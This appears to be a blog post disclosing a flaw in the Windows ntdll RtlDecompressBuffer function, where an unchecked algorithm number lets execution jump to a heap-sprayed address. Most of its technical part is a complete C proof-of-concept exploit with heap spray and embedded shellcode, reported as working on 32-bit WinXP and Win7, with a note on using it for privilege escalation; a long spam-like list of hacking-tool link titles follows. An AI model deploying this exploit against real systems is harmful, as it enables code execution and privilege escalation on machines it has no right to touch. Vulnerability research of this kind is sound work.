• Browse by Tags

RtlDecompresBuffer Vulnerability

Introduction

The RtlDecompressBuffer is a WinAPI implemented on ntdll that is often used by browsers and applications and also by malware to decompress buffers compressed on LZ algorithms for example LZNT1.

The first parameter of this function is a number that represents the algorithm to use in the decompression, for example the 2 is the LZNT1. This algorithm switch is implemented as a callback table with the pointers to the algorithms, so the boundaries of this table must be controlled for avoiding situations where the execution flow is redirected to unexpected places, specially controlled heap maps.

The algorithms callback table







Notice the five nops at the end probably for adding new algorithms in the future.

The way to jump to this pointers depending on the algorithm number is:
call RtlDecompressBufferProcs[eax*4]

The bounrady checks

We control eax because is the algorithm number, but the value of eax is limited, let's see the boudary checks:


int  RtlDecompressBuffer(unsigned __int8 algorithm, int a2, int a3, int a4, int a5, int a6)
{
int result; // eax@4

if ( algorithm & algorithm != 1 )
{
if ( algorithm & 0xF0 )
result = -1073741217;
else
result = ((int (__stdcall *)(int, int, int, int, int))RtlDecompressBufferProcs[algorithm])(a2, a3, a4, a5, a6);
}
else
{
result = -1073741811;
}
return result;
}

Regarding that decompilation seems that we can only select algorithm number from 2 to 15, regarding that  the algorithm 9 is allowed and will jump to 0x90909090, but we can't control that addess.



let's check the disassembly on Win7 32bits:

  • the movzx limits the boundaries to 16bits
  • the test ax, ax avoids the algorithm 0
  • the cmp ax, 1 avoids the algorithm 1
  • the test al, 0F0h limits the boundary .. wait .. al?


Let's calc the max two bytes number that bypass the test al, F0h

unsigned int max(void) {
        __asm__("xorl %eax, %eax");
        __asm__("movb $0xff, %ah");
        __asm__("movb $0xf0, %al");
}

int main(void) {
        printf("max: %u\n", max());
}

The value is 65520, but the fact is that is simpler than that, what happens if we put the algorithm number 9? 



So if we control the algorithm number we can redirect the execution flow to 0x55ff8890 which can be mapped via spraying.

Proof of concept

This exploit code, tells to the RtlDecompresBuffer to redirect the execution flow to the address 0x55ff8890 where is a map with the shellcode. To reach this address the heap is sprayed creating one Mb chunks to reach this address.

The result on WinXP:

The result on Win7 32bits:


And the exploit code:

/*
ntdll!RtlDecompressBuffer() vtable exploit + heap spray
by @sha0coder

*/

#include
#include
#include

#define KB 1024
#define MB 1024*KB
#define BLK_SZ 4096
#define ALLOC 200
#define MAGIC_DECOMPRESSION_AGORITHM 9

// WinXP Calc shellcode from http://shell-storm.org/shellcode/files/shellcode-567.php
/*
unsigned char shellcode[] = "\xeB\x02\xBA\xC7\x93"
"\xBF\x77\xFF\xD2\xCC"
"\xE8\xF3\xFF\xFF\xFF"
"\x63\x61\x6C\x63";
*/

// https://packetstormsecurity.com/files/102847/All-Windows-Null-Free-CreateProcessA-Calc-Shellcode.html
char *shellcode =
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01"
"\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
"\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";


PUCHAR landing_ptr = (PUCHAR)0x55ff8b90; // valid for Win7 and WinXP 32bits

void fail(const char *msg) {
printf("%s\n\n", msg);
exit(1);
}

PUCHAR spray(HANDLE heap) {
PUCHAR map = 0;

printf("Spraying ...\n");
printf("Aproximating to %p\n", landing_ptr);

while (map < landing_ptr-1*MB) {
map = HeapAlloc(heap, 0, 1*MB);
}

//map = HeapAlloc(heap, 0, 1*MB);

printf("Aproximated to [%x - %x]\n", map, map+1*MB);


printf("Landing adddr: %x\n", landing_ptr);
printf("Offset of landing adddr: %d\n", landing_ptr-map);

return map;
}

void landing_sigtrap(int num_of_traps) {
memset(landing_ptr, 0xcc, num_of_traps);
}

void copy_shellcode(void) {
memcpy(landing_ptr, shellcode, strlen(shellcode));

}

int main(int argc, char **argv) {
FARPROC RtlDecompressBuffer;
NTSTATUS ntStat;
HANDLE heap;
PUCHAR compressed, uncompressed;
ULONG compressed_sz, uncompressed_sz, estimated_uncompressed_sz;

RtlDecompressBuffer = GetProcAddress(LoadLibraryA("ntdll.dll"), "RtlDecompressBuffer");

heap = GetProcessHeap();

compressed_sz = estimated_uncompressed_sz = 1*KB;

compressed = HeapAlloc(heap, 0, compressed_sz);

uncompressed = HeapAlloc(heap, 0, estimated_uncompressed_sz);


spray(heap);
copy_shellcode();
//landing_sigtrap(1*KB);
printf("Landing ...\n");

ntStat = RtlDecompressBuffer(MAGIC_DECOMPRESSION_AGORITHM, uncompressed, estimated_uncompressed_sz, compressed, compressed_sz, &uncompressed_sz);

switch(ntStat) {
case STATUS_SUCCESS:
printf("decompression Ok!\n");
break;

case STATUS_INVALID_PARAMETER:
printf("bad compression parameter\n");
break;


case STATUS_UNSUPPORTED_COMPRESSION:
printf("unsuported compression\n");
break;

case STATUS_BAD_COMPRESSION_BUFFER:
printf("Need more uncompressed buffer\n");
break;

default:
printf("weird decompression state\n");
break;
}

printf("end.\n");
}

The attack vector
This API is called very often in the windows system, and also is called by browsers, but he attack vector is not common, because the apps that call this API trend to hard-code the algorithm number, so in a normal situation we don't control the algorithm number. But if there is a privileged application service or a driver that let to switch the algorithm number, via ioctl, config, etc. it can be used to elevate privileges on win7

More articles


  1. Pentest Recon Tools
  2. Pentest Tools Online
  3. Hack Tools For Windows
  4. Pentest Tools Framework
  5. Pentest Tools Alternative
  6. Pentest Tools Tcp Port Scanner
  7. Hack And Tools
  8. Hacker Tools For Windows
  9. Kik Hack Tools
  10. Hacking Apps
  11. Hacker
  12. Pentest Box Tools Download
  13. Hack Tools Online
  14. Android Hack Tools Github
  15. Hack Tools For Games
  16. Hack Tools Github
  17. Pentest Tools Alternative
  18. Tools 4 Hack
  19. Hacker Tools List
  20. Hack Website Online Tool
  21. Hack Tools Online
  22. Hacking Tools Software
  23. Hack Tools For Mac
  24. Pentest Tools Android
  25. Pentest Tools Nmap
  26. Hacker Tools Free Download
  27. Hack Tools Pc
  28. Pentest Tools Bluekeep
  29. Hackrf Tools
  30. Computer Hacker
  31. Black Hat Hacker Tools
  32. Pentest Tools Apk
  33. Android Hack Tools Github
  34. Pentest Tools Linux
  35. Hacking Tools Name
  36. Hacking Tools For Kali Linux
  37. Hacker Tools Github
  38. Pentest Tools Alternative
  39. Hacking Tools Kit
  40. Hacker Tools
  41. Hack Tool Apk No Root
  42. Hack Tools 2019
  43. Pentest Tools Url Fuzzer
  44. Hack Rom Tools
  45. Hack And Tools
  46. Pentest Tools Apk
  47. Pentest Tools Kali Linux
  48. Tools 4 Hack
  49. Hacker Tools Linux
  50. Hack Tools For Ubuntu
  51. Hacking Tools And Software
  52. Pentest Tools For Ubuntu
  53. Hacks And Tools
  54. Ethical Hacker Tools
  55. Hacker Tools Linux
  56. World No 1 Hacker Software
  57. Hacker Tools Hardware
  58. Hacking Apps
  59. Hak5 Tools
  60. Pentest Tools Website Vulnerability
  61. Free Pentest Tools For Windows
  62. Pentest Tools Port Scanner
  63. Hacking Tools Software
  64. Pentest Tools Find Subdomains
  65. Hacking Tools
  66. Pentest Tools Android
  67. Hacking Tools Download
  68. Hacker Security Tools
  69. Hacker
  70. Install Pentest Tools Ubuntu
  71. Hacker Tools Hardware
  72. Pentest Tools Find Subdomains
  73. Pentest Tools Online
  74. Hack Tools Mac
  75. Pentest Tools Bluekeep
  76. Pentest Automation Tools
  77. Hack App
  78. Hacking Tools Kit
  79. Hacking Tools 2020
  80. Pentest Tools For Windows
  81. Hacker Tools 2019
  82. New Hack Tools
  83. Blackhat Hacker Tools
  84. Hacker Hardware Tools
  85. What Are Hacking Tools
  86. Hack Tools 2019
  87. Hacker Tools Linux
  88. Hacker Tools List
  89. Hacking Tools Windows 10
  90. Hacker Tools Software
  91. Hacking Tools For Windows
  92. Pentest Tools Nmap
  93. Pentest Tools Apk
  94. Hacking Tools Mac
  95. Hackers Toolbox
  96. Hacking Tools For Pc
  97. Pentest Tools Apk
  98. Pentest Tools Port Scanner
  99. Pentest Tools For Windows
  100. Hacker Tools Mac
  101. Hack Tools Download
  102. Pentest Tools Port Scanner
  103. Pentest Tools Subdomain
  104. Hacking Tools Name
  105. Hacking Tools 2020
  106. Hacking Tools For Kali Linux
  107. Hacking Tools Download
  108. Pentest Tools Online
  109. Hacker Tools
  110. Pentest Tools Online
  111. Ethical Hacker Tools
  112. Pentest Tools For Ubuntu
  113. What Is Hacking Tools
  114. Hacker Techniques Tools And Incident Handling

0 comments on "RtlDecompresBuffer Vulnerability"



Post a Comment